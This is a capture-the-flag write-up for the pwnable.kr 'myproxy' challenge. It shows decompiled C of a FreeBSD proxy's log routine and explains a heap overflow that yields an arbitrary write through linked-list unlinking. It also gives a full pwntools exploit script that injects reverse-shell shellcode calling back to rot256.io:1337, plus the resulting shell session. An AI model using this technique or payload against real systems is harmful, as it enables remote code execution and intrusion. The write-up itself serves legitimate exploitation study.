The challenge

The challenge text on pwntable:

I made a multi-thread based HTTP proxy server written in C. It works fine for simple case, but it crashes occasionally. Can you find me the bug? (it has watchdog, proxy server will be respawned after crashing)

* uname -a of server : FreeBSD bsd32 9.1-RELEASE FreeBSD 9.1-RELEASE #0 r243826: Tue Dec 4 06:55:39 UTC 2012 root@obrian.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386

Download : http://pwnable.kr/bin/myproxy

Running at : nc pwnable.kr 9903

After downloading the binary, loading up in IDA and taking a look around, we find this function af interest:

void SaveLog(int fd, char *s, int a3) {
  size_t v3;               // eax@6
  size_t v4;               // eax@7
  socklen_t len;           // [sp+1Ch] [bp-1Ch]@3
  struct sockaddr addr;    // [sp+20h] [bp-18h]@3
  struct_log_link *entry;  // [sp+30h] [bp-8h]@7
  struct_log_link *ptr;    // [sp+34h] [bp-4h]@2

  if ( nlog == 32 ) {
    ptr = log_head->prev;
    ptr->prev->next = ptr->next;
    ptr->next->prev = ptr->prev;
    free(ptr);
    --nlog;
  }

  len = 16;
  if ( getpeername(fd, &addr, &len) == -1 ) {
    perror("getpeername() failed");
  } else if ( log_head ) {
    entry = malloc(0x88u);
    memset(entry, 0, 0x88u);
    entry->addr = *&addr.sa_data[2];
    entry->port = a3;
    entry->next = log_head;
    entry->prev = log_head->prev;
    v4 = strlen(s);
    strncpy(entry->host, s, v4);
    log_head->prev->next = entry;
    log_head->prev = entry;
    log_head = entry;
    ++nlog;
  } else {
    log_head = malloc(0x88u);
    memset(log_head, 0, 0x88u);
    v3 = strlen(s);
    strncpy(log_head->host, s, v3);
    log_head->addr = *&addr.sa_data[2];
    log_head->port = a3;
    log_head->next = log_head;
    log_head->prev = log_head;
    ++nlog;
  }
}

So the server has a running log. Every log entry is stored in a double linked list, when the number of entries exceeds 32 the oldest is removed from the back of the list (by taking the prev of the log head). The log can be accessed remotely (by making a http request).

The vulnerability

After digging/dicking around for a while with the server itself and FreeBSD. You notice that:

  • There is a straight forward overflow in the host field of the log entries
  • We can control the next and prev pointers
  • We can leak the next and prev pointers (by filling all the host field and reading the log)
  • The prev pointer of the head is only overwritten after a new entry is added
  • We can overwrite the next and prev pointers
  • We can use the “log cleaning” functionality to get arbitraty writes!
  • There are no protections on the binary whatsoever!

Our stategy

  • Fill the log (32 entries)
  • Insert shellcode into host field and a leak the next pointer (to get its address)
  • Create an log entry (tail) like this:
+0   | IP
+4   | Port
+8   | 112 bytes of junk
+120 | Our next
+124 | Our prev
+128 | next
+132 | prev
  • Make “Our next” the address of the return address (taking care of offset)
  • Make “Our prev” the value (address of shellcode)
  • Make a new entry with prev pointing at the (tail - 0x8)
  • “Clean the log”
  • Win?

Do it

After writing shellcode (reverse shell) – and taking care to avoid null bytes and slashes.

The final exploit looks like this:

import time
import socket
from pwn import *
from os import urandom

ip, port = ('pwnable.kr', 9903)

context.log_level = 'error'

wait = 0.1

shell_ip = socket.gethostbyname('rot256.io')
shell_port = 1337

"""
Log:
    IP   :   4 bytes (+ 0)
    Port :   4 bytes (+ 4)
    Host : 120 bytes (+ 8)
    Next :   4 bytes (+ 128)
    Prev :   4 bytes (+ 132)
"""

def send_entry(m):
    conn = remote(ip, port)
    conn.send('GET http://' + m + ' HTTP/1.1\r\n')
    conn.send('Host: ' + m + '\r\n')
    conn.send('\r\n')
    time.sleep(wait)
    conn.close()

def send(n):
    send_entry('padding%02d.org' % n)

def magic(n):
    return urandom(n / 2 + 1).encode('hex')[:n]

def getlog():
    conn = remote(ip, port)
    conn.send('admincmd_proxy_dump_log')
    conn.send('\r\n')
    out = ''
    while 1:
        try:
            out += conn.recv(1024)
        except EOFError:
            break
    return out

def leak():
    m = magic(120)
    send_entry(m)
    log = getlog()
    hew = log[log.find(m) + len(m):]
    assert hew.find(',') >= 4
    p_next = u32(hew[0:4])
    return p_next

# Load shellcod

with open('shell3.asm', 'rb') as f:
    code = f.read()
    code = code.format(
        ip = u32(socket.inet_aton(shell_ip)) ^ 0xBBBBBBBB,
        port = ((socket.htons(shell_port) << 16) + 0x02AA) ^ 0xBBBBBBBB)
shell = asm(code)
print 'Shellcode:\n' + shell.encode('hex')
assert '\x00' not in shell
assert '/' not in shell

# Fill log

print 'Filling log'
for n in range(32):
    print 'Sending: %2d' % n
    send(n)

# Send shellcode

print 'Uploading shellcode'
pad = 120 - len(shell)
entry = ''
entry += '\x90' * (pad / 2)
entry += shell
entry += '\x90' * (pad / 2)
assert len(entry) <= 120
send_entry(entry)

# Find shellcode address

print 'Finding shellcode address'
shell_addr = leak()
shell_addr += 8        # Skip IP and Port fields
print 'Shell at: 0x%x' % shell_addr

# Make fake tail

print 'Creating entry to be cleaned (fake tail)'
ebp = 0xbd8dcf48
ebp = 0xbd2d6f48
tar = (ebp + 4)
val = shell_addr

entry = ''
entry += cyclic(120 - 8)
entry += p32(tar - 0x84) # Fake next
entry += p32(val)        # Fake prev
assert len(entry) == 120
send_entry(entry)

# Find address of tail

print 'Finding tail address'
tail_addr = leak()
print 'Tail at: 0x%x' % tail_addr

# Make head, with overwritten prev

print 'Insert head, with borked prev'
entry = ''
entry += magic(120)
entry += p32(tail_addr - 8) # Next (whatever)
entry += p32(tail_addr - 8) # Prev
send_entry(entry)

# Trigger cleanup

print 'Trigger log cleanup'
send(1337)
print 'Done'

Running the script with an open nc listener at rot256.io yields:

rot256@gibson:~$ nc -l -p 1337
ls
flag
myproxy
myproxy.sh
run.sh
cat flag
NOPE YOU DONT GET TO SEE THE FLAG

The full code can be found on github